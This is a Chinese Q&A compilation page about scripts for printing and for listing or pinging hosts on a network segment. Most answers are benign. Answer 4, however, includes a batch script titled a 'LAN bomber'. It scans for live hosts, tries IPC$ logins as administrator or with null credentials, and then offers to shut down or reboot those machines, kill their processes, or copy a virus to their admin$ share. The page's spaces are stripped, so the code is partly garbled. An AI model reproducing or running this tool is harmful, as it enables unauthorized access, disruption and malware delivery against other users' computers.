当前位置:首页 » 网页前端 » 用脚本打印出网段在线列表
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

用脚本打印出网段在线列表

发布时间: 2022-04-25 14:13:49

1. 各位怎样用脚本实现 打印web页面时隐藏地址

<scriptlanguage="javascript"type="text/javascript">
functionUserPrint()
{
bdhtml=window.document.body.innerHtml;

varheadstr="<html><head></head><body>";
varfootstr="</body>";
varbodystr=document.all.item("printDiv").innerHTML;
varoldstr=document.body.innerHTML;

document.body.innerHTML=headstr+bodystr+footstr;
pagesetup_null();
window.print();
pagesetup_default();
document.body.innerHTML=oldstr;
returnfalse;
}
varhkey_root,hkey_path,hkey_key
hkey_root="HKEY_CURRENT_USER"
hkey_path="\Software\Microsoft\InternetExplorer\PageSetup\"
//设置网页打印的页眉页脚为空
functionpagesetup_null(){
try{
varRegWsh=newActiveXObject("WScript.Shell")
hkey_key="header"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"")
hkey_key="footer"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"")
}catch(e){}
}
//设置网页打印的页眉页脚为默认值
functionpagesetup_default(){
try{
varRegWsh=newActiveXObject("WScript.Shell")
hkey_key="header"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"&w&b页码,&p/&P")
hkey_key="footer"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"&u&b&d")
}catch(e){}
}
</script>

2. 如何使用脚本调用浏览器的页面设置和打印预览功能

1、打开IE浏览器。 2、点击IE菜单栏“文件”“打印预览”,打开“打印预览"对话框。 3、点击设置按钮(齿轮状),设置好,确定。 4、关闭IE,再次打开IE,“打印预览”对话框,设置没有变动。说明默认设置已经设好。

3. 如何用shell编程打印出目录下的所有文件内容

1)看下面的脚本a1.sh,假设要显示目录/home/user/tmp/下面的所有的文件和(子)目录的名字:

$ cat a1.sh
#!/bin/bash

for file in /home/user/tmp/*
do
echo $file
done

2)假设目录/home/user/tmp/下面的所有的文件和(子)目录如下:

$ ls
1.txt 2.txt a1.sh a.sh b.sh email_back m1.doc tmp

3)运行脚本:
$ a1.sh (或者./a1.sh)
/home/user/tmp/1.txt
/home/user/tmp/2.txt
/home/user/tmp/a1.sh
/home/user/tmp/a.sh
/home/user/tmp/b.sh
/home/user/tmp/email_back
/home/user/tmp/m1.doc
/home/user/tmp/tmp

4)脚本a1.sh的作用只是显示文件和子目录的列表,要显示文件的内容,脚本继续改造,内容如下,看脚本a2.sh:

$ cat a2.sh
#!/bin/bash

for file in /home/shiqingd/tmp/*
do
echo $file
if [ -f $file ]; then
cat $file
fi
done

脚本a2.sh可以达到目的。

4. 求遍历网段ip的shell脚本

是可以借鉴这里面的一些东西而已,因为只要把这两段小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵。

shell不会玩,Windows下的bat还会点...

还有一点要在Windows中调用linux中的shell脚本啊?

应该不可能...或者很难!

在Windows下我才能做到,不过太费时间了,给你两段现成的代码,如果你有时间有兴趣的话,可以在Windows下玩玩这代码,你有兴趣的话可以结合一下,然后再做一些修改就能达到你要的要求!

第一段:

@echooff

title扫描在线IP

::MODEcon:COLS=60LINES=18

color0a

::装饰。

:kaishi

cls

for/l%%iin(1,1,4)doecho.

set/pqishi=起始IP:

set/pjieshu=终止IP:

IFERRORLEVEL1echo错误的IP地址格式!&&pause&&gotokaishi

echo.

::从键盘获得两个变量的值。

for/f"tokens=1-4delims=."%%ain("%qishi%")do(

if%%aLSS0gotoerror_2

if%%aGTR255gotoerror_2

if%%bLSS0gotoerror_2

if%%bGTR255gotoerror_2

if%%cLSS0gotoerror_2

if%%cGTR255gotoerror_2

if%%dLSS0gotoerror_2

if%%dGTR255gotoerror_2

setv1=%%a

setv2=%%b

setv3=%%c

setv4=%%d

)

::分离起始IP的四个段并赋值,判断IP是否正确。

for/f"tokens=1-4delims=."%%ain("%jieshu%")do(

if%%aLSS0gotoerror_2

if%%aGTR255gotoerror_2

if%%bLSS0gotoerror_2

if%%bGTR255gotoerror_2

if%%cLSS0gotoerror_2

if%%cGTR255gotoerror_2

if%%dLSS0gotoerror_2

if%%dGTR255gotoerror_2

setv5=%%a

setv6=%%b

setv7=%%c

setv8=%%d

)

::分离终止IP的四个段并赋值,判断IP是否正确。

IF%V5%LSS%V1%echo错误:终止IP不能小于起始IP。&pause&gotokaishi

::判断终止IP与起始IP的正确性。

IF%V4%LEQ%V8%setzeng_1=1

IF%V4%GEQ%V8%setzeng_1=-1

IF%v3%LEQ%v7%setzeng_2=1

IF%V3%GEQ%V7%setzeng_2=-1

IF%v2%LEQ%v6%setzeng_3=1

IF%v2%GEQ%v6%setzeng_3=-1

for/L%%din(%v1%,1,%v5%)do(

for/L%%cin(%v2%,%zeng_3%,%v6%)do(

for/L%%bin(%v3%,%zeng_2%,%v7%)do(

for/L%%ain(%v4%,%zeng_1%,%v8%)do(

ping/n1%%d.%%c.%%b.%%a>nul&&echo%%d.%%c.%%b.%%aOK||echo%%d.%%c.%%b.%%aERROR

echo%%d.%%c.%%b.%%a

)

)

)

)

echo扫描完毕!

pause&gotokaishi

:error_2

echo错误的IP地址!

pause

gotokaishi

第二段(未编写测试完):

@echooff

titleWin2k局域网轰炸器未完待续~す珹す~

color0a

:start

echo-------------------------------------------------------------------------------

echo收集信息中...&echo.

for/f"tokens=15"%%iin('ipconfig^|find/i"ipaddress"')dosetip=%%i

for/f"tokens=1,2,3delims=."%%iin('echo!ip!')dosetwd=%%i.%%j.%%k

echo你的IP地址是:!ip!

echo你所在的网段是:!wd!

echo.

echo---请选择扫描在线主机的扫描方式---

echo1.ping2.netview3.exit注:直接按回车键使用默认方式!【ping测试】

set/pfs=请输入:

if"%fs%"==""gotoping

if"%fs%"=="1"gotoping

if"%fs%"=="2"gotonetview

if"%fs%"=="3"exit

cls&gotostart

:ping

echo.

echo输入需要扫描的IP范围(不需输网段)1至255之内结尾数不能小于起始数!

set/pqs=起始数:

set/pjs=结束数:

if!qs!gtr!js!echo起始数不能大于结束数!&&ping127.1/n2>nul2>nul&&gotoping

echo正在扫描!wd!.!qs!至!wd!.!js!范围内的主机在线情况...

echo-------------------------------------------------------------------------------

for/l%%iin(!qs!,1,!js!)do(

ping!wd!.%%i/n1>nul2>nul&&echo!wd!.%%i在线!&&echo!wd!.%%i>>zx.txt||echo!wd!.%%i离线!

)

echo--------------------------------------------------------------------------------

gotoipc$scan

:netview

echo.

echo此局域网内在线主机:

echo-------------------------------------------------------------------------------

FOR/F"eol=-delims=\"%%cin('netview')do(

FOR/F"eol=服"%%iin('echo%%c')do(

FOR/F"eol=命"%%iin('echo%%c')do(

echo%%i&&echo%%i>>zx.txt

)

)

)

echo--------------------------------------------------------------------------------

gotoipc$scan

:ipc$scan

echo.

echo即将开始ipc$扫描...

echo.

ifnotexistzx.txtechosorry!此局域网中无在线主机,无法进行ipc$扫描!正在返回主菜单...&&ping127.1/n5>nul2>nul&&cls&&gotostart

echoipc$扫描时使用何用户?注:直接按回车键使用默认用户!【administrator】

echo要用空用户(空链接)请输入【null】

set/puser=请输入:

if"!user!"==""setuser=administrator

if"!user!"=="null"setuser=

echoipc$扫描时使用何密码?注:直接按回车键使用默认密码!【空】

set/ppassword=请输入:

if"!password!"==""setpassword=

echo.

echo你选择的用户为:!user!

echo你选择的密码为:!password!

ping127.1/n2>nul2>nul

echo.

echo正在扫描能ipc$连接的机子...

setipc$=0

for/f%%iin('typezx.txt')do(

echo-------------------------------------------------------------------------------

netuse\%%iipc$"!password!"/user:"!user!">nul&&(

set/aipc$=!ipc$!+1

echo连接%%i成功!

echo%%i>>ipc.txt

netuse\%%i/del>nul2>nul

)||(

echo连接%%i失败!↑↑↑以上是错误提示!↑↑↑

)

)

echo--------------------------------------------------------------------------------

echo按任意键进入下一步!&pause>nul

:kill

cls

for/l%%iin(1,1,9)doecho.

echo扫描到!ipc$!台机器能ipc$连接成功!

for/l%%iin(1,1,3)doecho.

echo请问美丽的大姐您要怎么捉弄他们?

echo.

echo1:关了他们2:重启他们3:开启服务

echo4:传送病毒5:弹出消息6:关闭进程

echo.

set/pshr=请选择:

if"!shr!"=="1"gotogj

if"!shr!"=="2"gotocq

if"!shr!"=="3"gotofw

if"!shr!"=="4"gotobd

if"!shr!"=="5"gotoxx

if"!shr!"=="6"gotojc

gotokill

:gj

for/f%%iin('typeipc.txt')do(

shutdown-m\%%i-s-t0

)

echo完成!按任意键返回主菜单!

pause>nul&gotostart

:cq

for/f%%iin('typeipc.txt')do(

shutdown-m\%%i-r-t0

)

echo完成!按任意键返回主菜单!

pause>nul&gotostart

:fw

set/pfwm=请输入需要开启的服务名:

::还需检测路劲

for/f%%iin('typeipc.txt')do(

netstart\%%i!fwm!

)

echo完成!按任意键返回主菜单!

pause>nul&gotostart

:bd

set/pbdm=请输入要传送的病毒的路径:

for/f%%iin('typeipc.txt')do(

!bdm!\%%iadmin$

::还需开启对方计划任务服务运行病毒

)

echo完成!按任意键返回主菜单!

pause>nul&gotostart

:xx

set/pxx=请输入要弹出的消息:

for/f%%iin('typeipc.txt')do(

echo正在弹消息中...

sc\%%iconfigmessengerstart=auto>nul2>nul

sc\%%istartmessenger>nul2>nul

netsend%%i!xx!

)

echo完成!按任意键返回主菜单!

pause>nul&gotostart

:jc

set/pjc=请输入需要关闭的进程名:

for/f%%iin('typeipc.txt')do(

!bdm!\%%iadmin$

taskkill/s\%%i/f/im!jc!

)

echo完成!按任意键返回主菜单!

pause>nul&gotostart1

pause

5. 如何使用Powershell脚本检查打印机IP在线

1.要先点击开始 --控制面板 --查看设备和打印机。
2.然后要找到安装的打印机的图标,右键单击打印机属性。
3.然后得选择端口,点击添加端口,选择Standard TCP/IP Port 之后点击新的端口。
4.然后要在显示的窗口中点击下一步。
5.然后输入打印服务器的IP地址,点击下一步。
6.然后要选择自定义并且点击设置按钮。
协议选中LPR ,队列名称为lp1 ,并把启用LPR字节勾选计数之后点击确定。
7.接着点击结束按钮,完成配置。
8.最后点击应用按钮并选中关掉 ,就可以使用打印服务器共享打印机了。(必须得要点击应用才可以生效)

6. 如何用python脚本获取ip,掩码,地址,网段

#!/usr/bin/python

importfcntl,socket,struct

defgetHwAddr(ifname):
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
info=fcntl.ioctl(s.fileno(),0x8927,struct.pack('256s',ifname[:15]))
return':'.join(['%02x'%ord(char)forcharininfo[18:24]])

printgetHwAddr('eth0')

7. 怎样写脚本,用ping命令测试一个网段的主机谁在线

Ping是基于ICMP协议的,ICMP和同级,不支持广播,因此无法ping整个网段。
在网管软件中有主机状态的监控一般也是基于ping,实现的办法是采用循环方式,逐个ping网段下每台主机。

8. LINUX中怎样用shell脚本迅速找出整个局域网中的在线IP我试过用循环ping每个IP一次,但是速度太慢了,求

但凡测试网络都会需要花点时间,不可能太快得到反馈。
自己网络nmap使用方法,我觉得会比我说的更详细。